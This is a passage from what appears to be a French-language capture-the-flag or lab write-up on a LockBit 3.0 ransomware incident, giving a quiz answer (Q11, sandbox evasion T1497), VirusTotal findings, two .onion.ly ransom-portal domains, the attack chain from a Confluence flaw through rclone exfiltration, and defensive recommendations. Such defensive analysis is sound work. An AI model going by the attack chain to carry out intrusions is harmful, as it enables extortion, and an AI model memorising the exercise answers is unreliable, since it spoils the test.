Explication : dans l’onglet Behavior de VirusTotal, section Memory Pattern Domains, les domaines suivants ont été trouvés dans la mémoire du malware lors de l’analyse en sandbox :

PeaceProtectorapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion.ly
PeaceProtectorapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion.ly

Ces domaines .onion.ly sont des proxies vers des sites .onion (réseau Tor) utilisés par LockBit pour son portail de paiement de rançon et son site de fuite de données. Le préfixe PeaceProtector correspond au domaine peaceprotectorsupp.ma listé dans les choix.

Q11 — Technique MITRE ATT&CK mappée

Réponse : D. T1497 — Virtualization/Sandbox Evasion

Explication : dans l’onglet Behavior de VirusTotal, le tableau MITRE ATT&CK montre que T1497 apparaît dans deux catégories tactiques :

• Defense Evasion (TA0005) — 2 occurrences
• Discovery (TA0007) — 2 occurrences

Le tag comportemental detect-debug-environment confirme également cette technique. LockBit vérifie s’il s’exécute dans un environnement virtualisé ou sandbox avant de procéder au chiffrement, afin d’éviter l’analyse par les chercheurs en sécurité.

ℹ️ Autres techniques présentes mais non retenues :

• T1114 (Email Collection) — présent mais secondaire
• T1055 (Process Injection) — présent (LB3.exe s’injecte dans d’autres processus)
• T1566 (Phishing) — absent des comportements observés

4. Tableau récapitulatif des réponses

5. Chaîne d’attaque complète (Kill Chain)

6. Conclusion et recommandations

L’attaque a suivi une méthodologie classique de ransomware-as-a-service (RaaS) avec une sophistication élevée :

• Exploitation d’une CVE récente (Confluence SSTI)
• Utilisation d’outils légitimes pour éviter la détection (AnyDesk, rclone, PDQ Deploy)
• Mouvement latéral via des outils d’administration (PDQ Deploy)
• Exfiltration avant chiffrement (double extorsion)

Recommandations immédiates

• Mettre à jour Confluence vers la dernière version corrigeant CVE-2023-22527.
• Bloquer les connexions sortantes vers MEGA et autres services cloud non autorisés.
• Implémenter un contrôle strict sur l’installation de logiciels d’accès à distance.
• Activer la journalisation PowerShell Script Block Logging sur tous les endpoints.
• Segmenter le réseau pour limiter le mouvement latéral.
• Mettre en place des sauvegardes hors ligne testées régulièrement.

Leçons retenues

• Une vulnérabilité SSTI (Server-Side Template Injection) dans une application exposée comme Confluence peut servir de point d’entrée complet vers un chiffrement ransomware en moins de 50 minutes — la rapidité de la chaîne complète souligne l’importance du patch management sur les applications critiques.
• Le renommage d’un outil légitime et signé (AnyDesk → AD_SIEM.exe) illustre bien pourquoi la détection par hash ou signature seule est insuffisante : le binaire reste 100% légitime (0/94 sur VirusTotal), seul le contexte d’usage (renommage, déploiement non autorisé) révèle la malveillance.
• La double extorsion (exfiltration via rclone avant le chiffrement) est devenue un standard chez les groupes RaaS modernes comme LockBit — les recommandations de remédiation doivent couvrir à la fois la prévention du chiffrement et le blocage des canaux d’exfiltration (ici MEGA).
• Le Vhash (hash de similarité structurelle) est complémentaire du hash cryptographique classique (MD5/SHA-256) : il permet de relier des échantillons de malware même quand chaque copie a un hash différent, ce qui est utile face à des familles de ransomware qui varient légèrement leur binaire à chaque déploiement.

Références

• CVE-2023-22527 — Atlassian Confluence, Server-Side Template Injection (SSTI)
• Technique MITRE ATT&CK T1497 — Virtualization/Sandbox Evasion
• Technique MITRE ATT&CK T1055 — Process Injection
• Famille de ransomware LockBit 3.0 / LockBit Black